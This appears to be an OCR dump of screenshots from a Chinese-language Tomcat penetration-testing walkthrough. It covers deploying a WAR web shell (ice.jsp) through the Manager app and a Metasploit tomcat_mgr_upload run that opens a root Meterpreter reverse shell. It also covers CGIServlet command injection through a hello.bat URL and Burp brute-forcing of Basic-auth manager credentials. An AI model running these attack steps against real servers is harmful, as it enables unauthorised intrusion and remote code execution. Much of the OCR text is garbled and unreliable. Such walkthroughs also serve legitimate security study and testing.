https://xzfile.aliyuncs.com/media/upload/picture/20210825193254-305ae46e-0598-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210825193255-30f01156-0598-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210825193256-3151a9e8-0598-1.png

. ice.jsp 2020/8/19 2:22 Java Server Page...

B testwar 2021/8/5 11:45 WAR 3245

[ov] C\Windows\System32\cmd.exe

32> jar —cvf test.war .

(A = 612) (it = 449) (&

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193256-3151a9e8-0598-1.png)

i FEENRIER H1ER test.war BRERZE ALY
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Tomcat Web Application Manager

0K

List Applications

HTML Manager Help

Manager Help

Path Version Display Name Running |Sessions Commands
Start Stop Reload Undeploy
! None specified Welcome to Tomcat true 0
Expire sessions with idle = 30 minutes
Start Stop Reload Undeploy
Jdocs None specified Tomcat Documentation true 0
Expire sessions with idle = 30 minutes
start Stop Reload Undeploy
lexamples None specified Servlet and JSP Examples true o}
Expire sessions with idle = 30 minutes
Start Stop Reload Undeploy
(host-manager None specified Tomcat Host Manager Application true [}
Expire sessions with idle = 30 minutes
Start Stop Reload Undeploy
[manager None specified Tomcat Manager Application true 1
Expire sessions with idle = 30 minutes
Start Stop Reload Undeploy
[test None specified true 0
Expire sessions with idle = 30 minutes

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193300-3404eb82-0598-1.png)
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el —MgAERE 404 AN IZE LR LENID

Maozilla Firefox

68.1.8:8090/ x | B8 /manager x B 192.168.1.8:8080/test/ic X -+

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193302-34f33706-0598-1.png)

KB ERZEN RIS E] shell

‘e http://192.168.1.8:8080/test/ice.jsp - O X

+//192.168.1.8:8080/test/ice.js EiEE

URL:

P

EXAER | ®4iT | EHIERR | LUHEE | INZE | KiEshell | HUIEEEE | gEUMARE | FHo=E |  TED&E &5F  ZEFER

FEEE

TOMCAT_VERSION=8.0.43

OPENSSL_VERSION=1.1.0e-1

TOMCAT_TGZ_URL=https://www apache org/dyn/closer cgi?action=download& filename=tomecat/tomcat-8/v8 0 43/bin/apache-tomcat-8 0 43 tar gz
JAVA HOME=/usr/lib/jvm/java-T-openjdk-amdb4/jre

JAVA _DEBIAN_VERSION=Tul21-2.6.8-2~deb8ul

PATH=/usr/local/tomcat/bin:/usr/local/sbin: usr/local/bin:/usr/shin: usr/bin:/sbin:/bin
GPG_KEYS=05AB33110949707C93A2T9E3D3EFE6B6R686TBAG 0TE48665A34DCAFAES2IESES266191C37C037D42
47309207D818FFDEDCD3FE3F1931D684307A10A5 541FBETDSF78B25E055DDEEL3C370389288584E7
61B832AC2FICSA90F0FSBO0ALC506407564C17A3 T13DASSBES0911535FET16F5208B0AB1D63011CT
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T9F7026C690BAASOBI2CDSB66A3IAD3FAF22C4FED 9BA44C2621385CBY66EBAS86FT2C284D731FABEE
A27677289986DB350844682F8ACBTTFC2ESGE29AC ASCSDF4D22E99998D9875A5110C01CSA2F6059E7
DCFD35E0BF8CAT344752DEBBOFB21E8933C60243 F3A04C595DB5B6ASFIECA43E3B7TBBB100D811BBE
FTDA48BB64BCBE4ECBATEEG935CD23C10D498E23

HOSTNAME=0364f5¢25¢17

CATALINA HOME=/ust/local'tomcat

PWD=/usr/local/tomcat

TOMCAT_NATIVE_LIBDIR=/ust/local/tomcat/native-jni-lib

HOME=/root

TOMCAT_MATOR=8

TOMCAT_ASC_URL=https://www.apache. org/dist/tomcat/tomcat-8/v8.0 43/bin/apache-tomcat-8.0 43 tar.gz asc
JAVA_VERSION=Tul21

LD _LIBRARY_ PATH=/ust/local/tomcat/native-jni-lib

LANG=C.UTF-8
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XEBEMAI AR msf EEAY exploit/multi/http/tomcat_mgr_upload FE IR

use exploit/multi/http/tomcat_mgr_upload
set HttpPassword tomcat

set HttpUsername tomcat

set rhost 192.168.1.8

set rport 8080

run

terpret
show opt

Module options (exploit/multi/http/tomcat _mgr upload):
Name Current Setting Reguired escription
HttpPassword no e ord for the sp fied username
HttpUsername no

no A :I. I- I ype:host:port][ ... ]

ile

HTTP se

Payload options (j: terpret verse_tcp):

Name Current ing Required Description

The listen address (an interface may be specified)
The listen port
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Exploit target:

set HttpPassword tomcat
t HitplUse
t rhost 1

set rport 8080
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1 TRIAI{EEI—" meterpreter

Executing GAuPh3Kr9LUAvTEIS

Undeploying GAuPh3Kr9LUAvTE 1 !

Sending sta (58125 bytes) to 19 .1.8

Meterpreter session 1 opened (192.168.1.10:4444 — 102.168.1.8:33996) at 2021-08-95 12:17:03 +0800

fetuid
: root

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193322-40fcce0e-0598-1.png)
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Java 1

CreateProcess

IRENS

R,

RIBE

cmd. exe

, =RZ

NUIUTL VIOL JAE /N J |

O, ®w=H enableCmdLineArgumentg SRS, =IRIE RFC 3875 kKM Url ZEFAEN G172
A9 Runtime 47,

o, Fiez

X RIERZREN Runtime.getRuntime().exec & Windows B Linux HEEXLIAE S

Runtime.getRuntime().exec

, B EE

Windows N =fFERE

=y =B

B tomcat

-h

vt

A thisEimel
m S=H
3 BE
[ >0
= B/
W tEsfi

i

H=

/\7!‘1?

7£ CGl A XMIE)
HMEHBFHS, EA
M, FEA  CommandLineToArgwW (L% argv, 1t Windows 1,

cmd.exe /c

MEEFTE  bin

=5 =H

\/Hl HJU WY TI1
PZIBZE Java
WA

TTMEEEGSIEAN, M Windows el HRERANE

"arg.bat & dir"

> apache-tomcat-8.5.39 > apache-tomcat-8.5.39 > bin

L N S W ¢

EFR
catalina
IJ catalina.sh

£ catalina-tasks

~

|£:| commons-daemon

| | commons-daemon-native.tar.gz

configtest
IJ configtest.sh
IJ daemon.sh
digest

IJ digest.sh
setclasspath

[ ] setclasspath.sh

shutdown
IJ shutdown.s
startuo

(e

2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/14 11:25

1pComandLine &\ CreateProcess

&4 CreateProcess

P

. EFRENEER
N bat XXHEZE omd X

GetCommandLine

, 0 Java WIFR IR B METONEN, FRUE

semy

Windows #tahE...

SH 3z
XML 37#5

Executable Jar File

GZ3Zi%F

Windows #t4hE...

SH 324
SH 3z

Windows #t4hE...

SH 324

Windows ftheh ...

SH 3245

Windows Ht4hE. .

SH 3244

Windows #E4hE...

ALy

16 KB
23 KB
2 KB
25 KB
203 KB
2 KB

2 KB

9 KB

3 KB

2 KB

4 KB

4 KB

2 KB

2 KB

2 KB

v O | #F"bin"
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D startup.sh
| =] tomcat-juli

D tomcat-native.tar.gz

tool-wrapper
[] tool-wrapper.sh
version

D version.sh

2019/3/14 11:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25
2019/3/1411:25

SH 324%
Executable Jar File
GZ 3%

Windows REhE...
SH 324

Windows HhE...
SH 3245

2 KB
49 KB
410 KB
5 KB

6 KB

2 KB

2 KB

23AEE v 1 -NEBE 1.97 KB
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el — BRI

™  Recommended Reading:
g Security Considerations HOW-TO
/d&\‘ Manager Application HOW-TO
Clustering/Session Replication HOW-TO
Developer Quick Start

Tomcat Setup Realms & AAA

JDBC DataSources

Examples
First Web Application

Server Status

Manager App

Host Manager

Servlet Specifications

Tomcat Versions

Apache Tomcat/8.5.39 b aF (~] -

¢ C O © 127.0.0.1:8080 ® x &% D 0@ »0
Home Documentation Configuration Examples Wiki Mailing Lists Find Help
Apache Tomcat/8.5.39 j APACHE 3%

Managing Tomcat

For security, access to the manager webapp is
restricted. Users are defined in:

JCATALINA_HOME/conf/tomcat-users. xml

Documentation

Tomcat 8.5 Documentation

Tomcat 8.5 Configuration

Tomcat Wiki

Getting Help

FAQ and Mailing Lists
The following mailing lists are available:

tomcat-announce
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In Tomcat 8.5 access to the manager
application is split between different users.

Find additional important configuration

vulnerability notifications.{LoW velume):

information in:

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193328-44cfc676-0598-1.png)

Tomcat B9 CGl_Servlet BHFENAZRAIRT, £ conf/web.xml FRELEITERERY CCIServiet B,
enableCmdLineArguments I executable

AR, FERE

Important announcements; releases; securty

| @ & = | conf - O —
m| = == (7]
o)
| €« « A > apache-tomcat-8.5.39 > apache-tomcat-8.5.39 > conf v U #EFE"conf" P
& - v EMER == /b Hel
i BRI . “web -igF*E
=& » Catalina
= 0 catalina.policy SH(F) \EB((E) BIU0) EF((V) ®BEH)
+ T + [ catalina.properties {!——  passShellEnvironment Should the shell environment variables (if —>
Epre » prop = any) be passed to the CGI script? [falsel] —>
= £ context o —>
= BR » £ jaspic-providers {!=——  stderrTimeout The time (in milliseconds) to wait for the —>
[ jaspic-providersxsd = reading of stderr to complete before -—>
= hEafs — Jaspiep ) L terminating the CGI process. [2000] -
| ] logging.properties |
@ meE £ server <=
o ¢ " {servlet>
=I tomeat-users {servlet-name>cgi<{/servlet-name>
|| tomcat-users.xsd {servlet-class>org. apache. catalina. servlets. CGIServlet</servlet—class>
* web <{init-param>
{param—name>cgiPathPrefix</param—name>
{param-value>WEB-INF/cgi</param-value>
<{/init-param>
<{load-on-startup»5</load-on-startup>
</servlet>
{!-— ================ Built In Servlet Mappings -—>
{!=— The servlet mappings for the built in servlets defined above. Note -——>
<{!=— that, by default, the CGI and SSI servlets are *not* mapped. You -—>

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193330-460704d2-0598-1.png)
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j /f/u\ —F i}é/fﬁtﬂ:/d\\ﬁub{?{tﬁ%

enableCmdLineArguments BAHEZT 2¥Url NS MEIRE G 21T
executablefE T THATR I, BilEperl, ZTEEATT 2T XHERE,

<init-param>

<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>

</init-param>

<init-param>
<param-name>executable</param-name>
<param-value></param-value>

</init-param>

Mo LTLIALIC L L1l LILT WAL L VST T Lswrurgs |

{servlet>
{servlet—name>cgi</servlet—name>
{servlet—class>org. apache. catalina. servlets. CGIServlet<{/servlet—-class>
{init-param>
<{paramname>cgiPathPrefix</param—name>
{param—value>WEB-INF/cgi<{/param—value>
</init-param>
<{init—param>
{param—name>enableCmdLineArguments</param—name>
{param-value>true{/param-value>
<{/init-param>
{init—-param>
<param name>executabled/ param name>

1 W s 1
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param—value/</param—value,
{/init-param>
{load-on-startup>5</load-on—startup>
{/servlet>

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193331-46794416-0598-1.png)

ZAETE conf/web.xml FRIE A cgi B9 serviet-mapping

STHC) SEERIC)  TEHIMWW) =S V) mBum)

<—
{servlet—mapping>
{servlet—name>ssi<{/servlet—-name>
< {url-pattern>*. shtml</url-pattern>

{/servlet—mapping>
sd N

{!— The mapping for the CGI Gatewav servlet —>

> =

<{servlet—mapping>
{servlet—name>cgi{/servlet—name>
{url-pattern>/cgi-bin/#</url-pattern>

{/servlet—mapping>
—>

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193333-475bb558-0598-1.png)

124 conf/context.xml BAIN privileaed="true" E¥. TSNS HNE
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| < | conf — O s ‘ —
FEo_H= == - @
o]
&« v |1t > apache-tomcat-8.5.39 > apache-tomcat-8.5.39 > conf ~ O EE"conf pel
S LT Ex Fih @E
3¢ tREREl
2 3 : g
- S * web 2019/3/14 11:25 XML 3ZF 170 KB
. D tomcat-users.xsd 2019/3/14 11:25 XSD 324 3 KB |
‘ —Fﬁ * 2 tomcat_users QNI10/2/1A 1135 Al T 2 VD
3 o @ server | context - iDEa
= BA 0 logging.properties R \E(E) BR0) EE(V) WEI(H)
[T, [] jaspic-providers.xsd (the “"License”); vou may not use this file except in compliance with
& . the License. You may obtain a copyv of the License at
2] jaspic-providers
& s 3
@ R 2| context http://www. apache. org/licenses/LICENSE-2. 0

[ catalina.properties
[ catalina.policy

Catalina

11 AImE ¥t 1-MNEE 1.33KB

annliratinn ie anlit hatwean diffarant 11cere

Unlessz required by applicable law or agreed to in writing, software
distributed under the License is distributed on an “AS IS” BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and

1|imitations under the License.
—>
{!=—— The coﬁtthis file will be loaded for each web application ——>

<Context>

{!-— Default set of monitored resources. If one of these changes, the -—>
{!=— web application will be reloaded. -—>
{WatchedResource>WEB-INF/web. xm1</WatchedResource>
{WatchedResource>$ {catalina. base}/conf/web. xml<{/WatchedResource>

{!—— Uncomment this to disable session persistence across Tomcat restarts ——>
{d—
<Manager pathname="" />

</Context>

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193334-48224c86-0598-1.png)
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D0 true

<Context privileged="true">

| context - ig=A
ME(F) #mEE(E) EIU(0) EJ(V) FEI(H)

(the “License”); vou may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www. apache. org/licenses/LICENSE-2. 0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS” BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

—>

{!=— The contents of this file will be loaded for each web application —>

{Context privileged="true”> pm—

{!—— Default set of monitored resources. If one of these changes, the -
{!=— web application will be reloaded. —
{WatchedResource>WEB-INF/web. xm1</WatchedResource>
{WatchedResource>$ {catalina. base}/conf/web. xm1</WatchedResource>

{!=— Uncomment this to disable session persistence across Tomcat restarts —>
=

{Manager pathname="" />

—>

<{/Context>
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£ C:\Tomcat\webapps\ROOT\WEB-INF QI cgi-bin HHE

[l ML TR
m ES e

« v I » apache-tomcat-8.5.39 > apache-tomcat-8.5.39 > webapps > ROOT > WEB-INF >
BFR (Emd=Et il F
7 BEAE
o = » cgi-bin 2021/7/1513:15 prg =
§ < web 2019/3/14 11:25 AML 3285 2 KB
s R »
e .
= B »
Rl =l
- R
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« v A > apache-tomcat-8.5.39 > apache-tomcat-8.5.39 > webapps > ROOT > WEB-INF > cgi-bin

E—— EFR feu=)et Bl i

- S * hello.bat 2021/7/1513:19 AR 1 KB
3 FEE »
|9 = »
= BA »

S HEE A
(https://xzfile.aliyuncs.com/media/upload/picture/20210825193338-4a87fe1c-0598-1.png)
ANEESF tomeat AR

. > apache-tomcat-8.5.39 > apache-tomcat-8.5.39 > bin
iR {22 HHA E=ic]
_E"ﬁ catalina 2019/3/1411:25  Windows #:4MNA. .
| * | A catalina.sh 2019/3/1411:25  SHIT#E
:; * 2| catalina-tasks 2019/3/1411:25 ML =Rl
i » |+ commons-daemon 2019/3/1411:25 Executable Jar File
» [] commons-daemon-native.tar.gz 2019/3/14 11:25 GZ 3%
N configtest 2019/3/1411:25  Windows #t4ME...
) | ] configtest.sh 2019/3/1411:25  SH 3Tt

|| daemon.sh 2019/3/1411:25  SH 3zt

digest 2019/3/1411:25  Windows Ht4ME...

| ] digest.sh 2019/3/1411:25  SH 3Tt

setclasspath 2019/3/1411:25  Windows #t4ME...
|| setclasspath.sh 2019/3/1411:25  SHIZ#
| [% ] ehitdrwam 2019/3/1411-25 Windmwe #6RTH

o

16 KB
23 KB
2 KB
25 KB
203 KB
2 KB
2 KB
9 KB
3 KB
2 KB
4 KB

4 KB
2 KR
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| ] shutdown.sh 2019/3/14 11:25 SH =05 2 KB
startup 2019/3/14 11:25 Windows #EohE, 2 KB
D startup.sh 2019/3/14 11:25 SH =05 2 KB
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1518] http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe BIPIS#HITESE XEBMNERTHS
BlleJ

@ http://localhost:8080/cgi-bin/hello.bat? - Windows Internet Explorer
G_@- ] http:/localhost:8080/cgi-bin/hello.bat?&C9%3A%SCWindows3%5CSystem3z v | 5 | 43 | X || 2 &in

) ..
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iR R

EOTIBA baseod HIBEH, MORBNTSHEAEE, thaHTIER
i 1) = 21

XEBIH9) http://192.168.1.8:8000/manager/html FHI/THNE, 1098 AIKS 2R S B T AR

GET /manager/html JL.1

Host: J.E':.J.EB.J..B:K

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/20100101 Firefox/52.0
Aocept: text/html, application/xhtml+xml, application/=xml;cq=0.8,*/*:q=0.8
Aocept-Lancuage: zh-CH, zh:gq=0.8,en-U3:qg=0.5,en;q=0.3

DIT: 1

Connection: close

Tpgrade-Insecure-Fequests: L

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193342-4d13f8de—-0598-1.png)
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0. http://192.168.1.8:8080 [EAEEREHIAFEEE, &R "Tomcat Manager Application”
AFa:
=he:

-

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193343-4d8bdd0e-0598-1.png)

PRI A5 Rl Authorization X PDFEY, X PFEAE—T Basic , Ri.E basebd NEHEE

Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close
Upgrade-Insecure-Requests: 1

Authorization: Basic dGStY2FOOnRvbWNhdA==

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193346-4f349f9¢c-0598-1.png)

XEEEE] base64 fRH 152! tomcat:tomcat HIZALT

Basebd:

T
dG 9ty 2F00nRvbwWNhdA== ._Basebd |
=B asebd:
torncat: tomcat
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HNEaZBEBEXINE R LIERIB— cookie, B2)%H8 1 Authorization X FEX

GET /manager/html HTTPF,/1.1 i
_Host: 192.16B8.1.8:8080 r
Uzer—Agent: Mozilla/s5.0 (Windows NT 10.0; Wingd; xe4:
rv:90.0) Gecko/ /20100101 Firefox/50.0
LAocept:
text/html, application/=xhtml+xml, application/xml;g=0.9, im
age/webhp, */*:q=0.8
Locept-Language:
sh—-CI, sh:c=0.2, zh-TW;=0.7, zh-HE:; q=0.5,en-US;q=0.3 ,2n;
=0.2
Authorization: Basic dAGEtTIFOOnEvhWINhdi==
Connection: close
Cookie: JEESSICHID=Z4FFY9EOLLITATFIS0LCIE98953D0OF43FEE
Upgrade-Insecure-Fedquests: 1
Cache-Control: max-age=0

L e—— b

L1 F)
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dE5IYred LU payiugu pusiununs - see reig i un ueldlils.

Attack type: [ Sniper

| v

GET /manager/html HTTF/1.1
Host: 192.L168.1.8:8080
User—-Agent: Mozillas5.0 (Windows NT 10.0; Winfd4; xé4; rv:580.0) Gecko/Z0100101 Firefox/90.0
Aocept: text/html, application/xhtml+4xml, application/xml;gq=0.9, image/webp, */ *;q=0.8
Aocept-Lancuage: zh-CH,zh:qgq=0.8, zsh-TW:;cq=0.7,zh-HE;qq=0.5,en-Us;q=0.3,en;q=0.2
Authorization: Basic dAGECYIFOOnEvhWMNhdh==

Connection: close

Cookie: J3ESSICHNID=Z4FFYBOALTAVF1IS901C1IE9E8953DOF43FEE

Upgrade—-Insecure-Fequests: 1
Cache-Control: max-age=0
Authorlzation: EBasic ==

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193351-528193a8-0598-1.png)

pes A=k T

" p—



https://xzfile.aliyuncs.com/media/upload/picture/20210825193351-528193a8-0598-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210825193352-5327fd4c-0598-1.png

= | ?| Payload Encoding

I ThisW to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.
] -encode these characters: | MA=<=7+&%"{}|*
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BN PTZE kS E

‘Request 4 Payload 'Status | Emor | Timeout | Length | Comment
0 200 | Ll 21795
" dGRY2FOONRMWNRdA== 200 | | L 2179
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